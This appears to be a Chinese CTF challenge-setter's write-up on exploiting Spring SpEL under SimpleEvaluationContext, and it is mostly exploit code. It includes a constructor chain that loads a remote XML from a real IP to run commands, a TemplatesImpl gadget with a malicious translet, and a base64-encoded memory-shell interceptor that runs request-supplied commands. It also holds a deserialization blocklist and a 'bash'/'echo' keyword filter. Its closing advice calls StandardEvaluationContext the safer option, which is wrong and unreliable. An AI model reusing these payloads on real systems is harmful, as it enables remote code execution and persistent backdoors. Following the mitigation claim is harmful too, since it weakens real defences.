ez_zhuawa出题记录
字数 718 2025-08-22 12:22:42

Spring Expression Language (SpEL) 漏洞分析与利用

1. 漏洞背景

SpEL (Spring Expression Language) 是 Spring 框架提供的一种强大的表达式语言,支持在运行时查询和操作对象图。当 SpEL 表达式在 SimpleEvaluationContext 上下文中执行时,如果能够控制 root 对象,就可能存在安全风险。

2. 漏洞原理

2.1 基本利用方式

SimpleEvaluationContext 条件下,攻击者可以通过控制 root 对象实现恶意利用:

  1. 调用 root 对象的 getter 方法
  2. 调用 root 对象的构造函数

2.2 关键代码分析

public static Object eval(Object root, String expr) {
    SimpleEvaluationContext context = SimpleEvaluationContext.forReadOnlyDataBinding().build();
    SpelExpressionParser parser = new SpelExpressionParser();
    Expression expression = parser.parseExpression(expr);
    return expression.getValue(context, root);
}

当 root 对象不是基础类型时,会进入 convertValue 方法,最终调用 ObjectToObjectConverter 的 convert 方法。

3. 漏洞利用方式

3.1 通过构造函数利用

public static void main(String[] args) {
    buildArray("org.springframework.context.support.ClassPathXmlApplicationContext",
              "#root[0]='http://49.232.222.195:8000/poc.xml'");
}

远程 XML 文件内容:

<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
    <bean id="evil" class="java.lang.String">
        <constructor-arg value="#{T(Runtime).getRuntime().exec('calc')}"/>
    </bean>
</beans>

3.2 通过 getter 方法利用

public static void main(String[] args) throws Exception {
    TemplatesImpl templates = new TemplatesImpl();
    byte[] code = Files.readAllBytes(Paths.get("Test.class"));
    setFieldValue(templates, "_bytecodes", new byte[][]{code});
    setFieldValue(templates, "_name", "calc");
    setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
    
    String name = (String) eval(templates, "outputProperties");
    System.out.println("Name: " + name);
}

恶意 Test.class 内容:

import java.io.IOException;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

public class Test extends AbstractTranslet {
    static {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            throw new RuntimeException(e);
        }
    }
    
    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}
    
    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}
}

4. 防御措施

4.1 反序列化防护

public class SecurityObjectInputStream extends ObjectInputStream {
    private List<String> restrictedClasses;
    
    public SecurityObjectInputStream(InputStream inputStream) throws IOException {
        super(inputStream);
        this.restrictedClasses = new ArrayList<>();
        this.restrictedClasses.add(POJONode.class.getName());
        this.restrictedClasses.add(BadAttributeValueExpException.class.getName());
        this.restrictedClasses.add(InvocationHandler.class.getName());
        this.restrictedClasses.add(SignedObject.class.getName());
        this.restrictedClasses.add(RMIConnector.class.getName());
        this.restrictedClasses.add(HashMap.class.getName());
        this.restrictedClasses.add(Hashtable.class.getName());
        this.restrictedClasses.add(ClassPathXmlApplicationContext.class.getName());
        this.restrictedClasses.add(FileSystemXmlApplicationContext.class.getName());
        this.restrictedClasses.add(JdbcRowSetImpl.class.getName());
        this.restrictedClasses.add(XString.class.getName());
        this.restrictedClasses.add(UIDefaults.class.getName());
    }
    
    @Override
    protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
        if (this.restrictedClasses.contains(desc.getName())) {
            throw new SecurityException("Detected restricted class: " + desc.getName());
        }
        return super.resolveClass(desc);
    }
}

4.2 输入过滤

public static Object deserialize(String base64String) throws IOException, ClassNotFoundException {
    String data1 = Arrays.toString(Base64.getDecoder().decode(base64String));
    if (data1.contains("bash") || data1.contains("echo")) {
        throw new IllegalArgumentException("检测到潜在危险输入");
    }
    byte[] data = Base64.getDecoder().decode(base64String);
    try (ByteArrayInputStream bais = new ByteArrayInputStream(data);
         SecurityObjectInputStream in = new SecurityObjectInputStream(bais)) {
        return in.readObject();
    }
}

5. 内存马注入示例

public class inject extends AbstractTranslet {
    static {
        try {
            WebApplicationContext context = RequestContextUtils.findWebApplicationContext(
                ((ServletRequestAttributes) RequestContextHolder.currentRequestAttributes()).getRequest());
            
            AbstractHandlerMapping abstractHandlerMapping = (AbstractHandlerMapping) 
                context.getBean(RequestMappingHandlerMapping.class);
            
            Field field = AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
            field.setAccessible(true);
            ArrayList<Object> adaptedInterceptors = (ArrayList<Object>) field.get(abstractHandlerMapping);
            
            String className = "com.example.spring.magicInterceptor";
            String b64 = "yv66vgAAADQAhwoAIABGCAA4CwBHAEgLAEkASggASwgATAoATQBOCgAMAE8IAFAKAAwAUQcAUgcAUwgAVAgAVQoACwBWCABXCABYBwBZCgALAFoKAFsAXAoAEgBdCABeCgASAF8KABIAYAoAEgBhCgASAGIKAGMAZAoAYwBlCgBjAGIHAGYHAGcHAGgBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAJUxjb20vZXhhbXBsZS9zcHJpbmcvbWFnaWNJbnRlcmNlcHRvcjsBAAlwcmVIYW5kbGUBAGQoTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlcXVlc3Q7TGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlc3BvbnNlO0xqYXZhL2xhbmcvT2JqZWN0OylaAQABcAEAGkxqYXZhL2xhbmcvUHJvY2Vzc0J1aWxkZXI7AQAGd3JpdGVyAQAVTGphdmEvaW8vUHJpbnRXcml0ZXI7AQABbwEAEkxqYXZhL2xhbmcvU3RyaW5nOwEAAWMBABNMamF2YS91dGlsL1NjYW5uZXI7AQAHcmVxdWVzdAEAJ0xqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0OwEACHJlc3BvbnNlAQAoTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlc3BvbnNlOwEAB2hhbmRsZXIBABJMamF2YS9sYW5nL09iamVjdDsBAARjb2RlAQANU3RhY2tNYXBUYWJsZQcAUwcAaQcAUgcAWQcAZwcAagcAbAcAZgEACkV4Y2VwdGlvbnMBAApTb3VyY2VGaWxlAQAVbWFnaWNJbnRlcmNlcHRvci5qYXZhDAAhACIHAGoMAG0AbgcAawwAbwBwAQAAAQAHb3MubmFtZQcAcQwAcgBuDABzAHQBAAN3aW4MAHUAdgEAGGphdmEvbGFuZy9Qcm9jZXNzQnVpbGRlcgEAEGphdmEvbGFuZy9TdHJpbmcBAAdjbWQuZXhlAQACL2MMACEAdwEABy9iaW4vc2gBAAItYwEAEWphdmEvdXRpbC9TY2FubmVyDAB4AHkHAHoMAHsAfAwAIQB9AQACXEEMAH4AfwwAgACBDACCAHQMAIMAIgcAaQwAhACFDACGACIBABNqYXZhL2xhbmcvRXhjZXB0aW9uAQAjY29tL2V4YW1wbGUvc3ByaW5nL21hZ2ljSW50ZXJjZXB0b3IBAEFvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L2hhbmRsZXIvSGFuZGxlckludGVyY2VwdG9yQWRhcHRlcgEAE2phdmEvaW8vUHJpbnRXcml0ZXIBACVqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0AQAmamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVzcG9uc2UBABBqYXZhL2xhbmcvT2JqZWN0AQAMZ2V0UGFyYW1ldGVyAQAmKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZzsBAAlnZXRXcml0ZXIBABcoKUxqYXZhL2lvL1ByaW50V3JpdGVyOwEAEGphdmEvbGFuZy9TeXN0ZW0BAAtnZXRQcm9wZXJ0eQEAC3RvTG93ZXJDYXNlAQAUKClMamF2YS9sYW5nL1N0cmluZzsBAAhjb250YWlucwEAGyhMamF2YS9sYW5nL0NoYXJTZXF1ZW5jZTspWgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYBAAVzdGFydAEAFSgpTGphdmEvbGFuZy9Qcm9jZXNzOwEAEWphdmEvbGFuZy9Qcm9jZXNzAQAOZ2V0SW5wdXRTdHJlYW0BABcoKUxqYXZhL2lvL0lucHV0U3RyZWFtOwEAGChMamF2YS9pby9JbnB1dFN0cmVhbTspVgEADHVzZURlbGltaXRlcgEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvdXRpbC9TY2FubmVyOwEAB2hhc05leHQBAAMoKVoBAARuZXh0AQAFY2xvc2UBAAV3cml0ZQEAFShMamF2YS9sYW5nL1N0cmluZzspVgEABWZsdXNoACEAHwAgAAAAAAACAAEAIQAiAAEAIwAAAC8AAQABAAAABSq3AAGxAAAAAgAkAAAABgABAAAABwAlAAAADAABAAAABQAmACcAAAABACgAKQACACMAAAG6AAYACQAAAK8rEgK5AAMCADoEGQTGAKEsuQAEAQA6BRIFOgYSBrgAB7YACBIJtgAKmQAiuwALWQa9AAxZAxINU1kEEg5TWQUZBFO3AA86B6cAH7sAC1kGvQAMWQMSEFNZBBIRU1kFGQRTtwAPOge7ABJZGQe2ABO2ABS3ABUSFrYAFzoIGQi2ABiZAAsZCLYAGacABRkGOgYZCLYAGhkFGQa2ABsZBbYAHBkFtgAdpwAFOgUDrASsAAEADwCmAKkAHgADACQAAABGABEAAAAKAAoACwAPAA0AFwAOABsAEAArABEASgATAGYAFQB8ABYAkAAXAJUAGACcABkAoQAaAKYAHACpABsAqwAdAK0AHwAlAAAAZgAKAEcAAwAqACsABwAXAI8ALAAtAAUAGwCLAC4ALwAGAGYAQAAqACsABwB8ACoAMAAxAAgAAACvACYAJwAAAAAArwAyADMAAQAAAK8ANAA1AAIAAACvADYANwADAAoApQA4AC8ABAA5AAAAOQAH/gBKBwA6BwA7BwA6/AAbBwA8/AAlBwA9QQcAOv8AGgAFBwA+BwA/BwBABwBBBwA6AAEHAEIBAQBDAAAABAABAB4AAQBEAAAAAgBF";
            byte[] bytes = sun.misc.BASE64Decoder.class.newInstance().decodeBuffer(b64);
            
            ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
            Method m0 = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
            m0.setAccessible(true);
            m0.invoke(classLoader, className, bytes, 0, bytes.length);
            
            adaptedInterceptors.add(classLoader.loadClass(className).newInstance());
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
    
    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}
    
    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}
}

6. 总结

  1. SpEL 在 SimpleEvaluationContext 下存在安全风险,攻击者可利用 root 对象执行任意代码
  2. 主要利用方式包括:
    • 通过构造函数加载恶意 XML
    • 通过 getter 方法触发恶意代码执行
  3. 防御措施应包括:
    • 限制反序列化类
    • 过滤危险输入
    • 使用更安全的 StandardEvaluationContext 替代 SimpleEvaluationContext
Spring Expression Language (SpEL) 漏洞分析与利用 1. 漏洞背景 SpEL (Spring Expression Language) 是 Spring 框架提供的一种强大的表达式语言,支持在运行时查询和操作对象图。当 SpEL 表达式在 SimpleEvaluationContext 上下文中执行时,如果能够控制 root 对象,就可能存在安全风险。 2. 漏洞原理 2.1 基本利用方式 在 SimpleEvaluationContext 条件下,攻击者可以通过控制 root 对象实现恶意利用: 调用 root 对象的 getter 方法 调用 root 对象的构造函数 2.2 关键代码分析 当 root 对象不是基础类型时,会进入 convertValue 方法,最终调用 ObjectToObjectConverter 的 convert 方法。 3. 漏洞利用方式 3.1 通过构造函数利用 远程 XML 文件内容: 3.2 通过 getter 方法利用 恶意 Test.class 内容: 4. 防御措施 4.1 反序列化防护 4.2 输入过滤 5. 内存马注入示例 6. 总结 SpEL 在 SimpleEvaluationContext 下存在安全风险,攻击者可利用 root 对象执行任意代码 主要利用方式包括: 通过构造函数加载恶意 XML 通过 getter 方法触发恶意代码执行 防御措施应包括: 限制反序列化类 过滤危险输入 使用更安全的 StandardEvaluationContext 替代 SimpleEvaluationContext